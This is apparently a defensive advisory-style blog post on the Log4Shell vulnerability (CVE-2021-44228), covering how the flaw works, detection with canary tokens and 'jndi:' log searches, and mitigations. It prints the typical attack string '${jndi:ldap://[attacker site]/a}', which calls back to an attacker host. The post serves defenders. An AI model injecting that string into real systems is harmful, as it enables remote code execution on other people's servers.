Log4j Vulnerability – CVE-2021-44228

Log4j is a fast and flexible logging framework. It essentially allows developers to control which log statements are output with arbitrary granularity.

What is the vulnerability?

CVE-2021-44228

AKA: Log4Shell, Log4Jam

Reports about the vulnerability began to be received last Friday, 9 December 2021, and which at the time of reporting seemed to have been exploited by threat actors in the wild, with no patch available. 

How does the vulnerability work?

A basic overview of the vulnerability is that the victim web app logs HTTP request payload/headers, such as the User-Agent (but not strictly just UA), which can be passed on to the JNDI, (Java Naming and Directory Interface), and which is used to allow Java apps to access and make calls to multiple APIs, such as LDAP, RMI, etc.

If the log4j library is vulnerable, it will basically pass on any code contained within the method of delivery to the API, which may then run the code resulting in RCE (Remote Code Execution).

The Swiss Government’s Computer Emergency Response Team (CERT) has distributed a very informative infographic detailing the process and possible preventative measures:

Immediate Response

One of the first actions that need to be taken is the placing of temporary blocks Inbound and Outbound on the perimeter firewall.

There have been numerous Indicator of Compromise lists to come out. Microsoft has begun to construct their own: https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv

Another list of callback is Ips/Hosts’:

https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8

Detection

Vulnerable App

Methods of detection are still being worked on by the security community, but searches within your estate looking for mention of “log4j” and “jdk” may return results and be a starting point from which to locate software that may need to be upgraded or have compensating control applied.

The Microsoft Threat Intelligence Center has released a comprehensive guide for detecting and hunting for possible Log4j exploitation – Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation:

Canary Tokens can also be utilised to discover if an application is vulnerable. Steps for testing are detailed in Using a Canary token to help test for CVE-2021-44228 (log4j/log4shell), and the token can be generated via the Canary Tokens generate page.

Canary Tokens has even created a token specifically for Log4j:

Essentially, you generate the token and then enter it into any input methods or URL parameters present within your web app. You can also change your User Agent to the token, which seems to be the most prevalent attack method observed in the wild so far.

Search Engine Journal has a guide on how to change User Agents for the main browsers, How to Change User Agents in Chrome, Edge, Safari & Firefox.

**Note:** Please use a separate browser profile for this method, and only navigate to a Web App that you have permission to test as navigating to any other site may cause a security incident.

Attack attempts

As mentioned above, the User Agent has been the method most observed during attack attempts, but other HTTP headers have also been used.

A typical attack will look like this:

${jndi:ldap://[attacker site]/a}

with the attacker attempted to utilize JNDI to call back to their own infrastructure. LDAP has been the protocol mostly observed in the wild, but other protocols have also been used.

Microsoft has a method of detection utilising yaml with nested KQL.

But depending on your SIEM/log aggregation solution, a simple broad search for the following should suffice:

“jndi:”

Mitigations

The basic mitigations, after finding vulnerable software present, are:

Upgrade Apache Log4j to 2.15.0 (logging.apache.org):

Apply the configuration setting log4j2.formatMsgNoLookups = true

Upgrade JDK:

The LDAP attack vector reportedly did not affect JDK versions great than 6u211, 7u201, 8u191, and 11.0.1 as com.sun.jndi.ldap.object.trustURLCodebase is set to false

Further mitigations are as follows:

Utilize a WAF

• Disable Log4j completely
• Disable JNDI lookups
• Disable remote code bases (This may prevent the RMI method of attack)

Possible affected software:

Tech Solvency has produced Log4Shell log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide.

List of related Azure Sentinel KQL queries:

https://github.com/eshlomo1/Azure-Sentinel-4-SecOps/tree/master/Hunting/CVE-2021-44228-Logshell

Wrap up

Due to the extensive and prolific nature of this vulnerability and the many different instances of software utilising the log4j library, the entire security community is taking stock of the potential for its full extent and the sheer attack surface that this opens up.

It seems there will be some interesting months ahead as we see how attackers eventually use this vulnerability.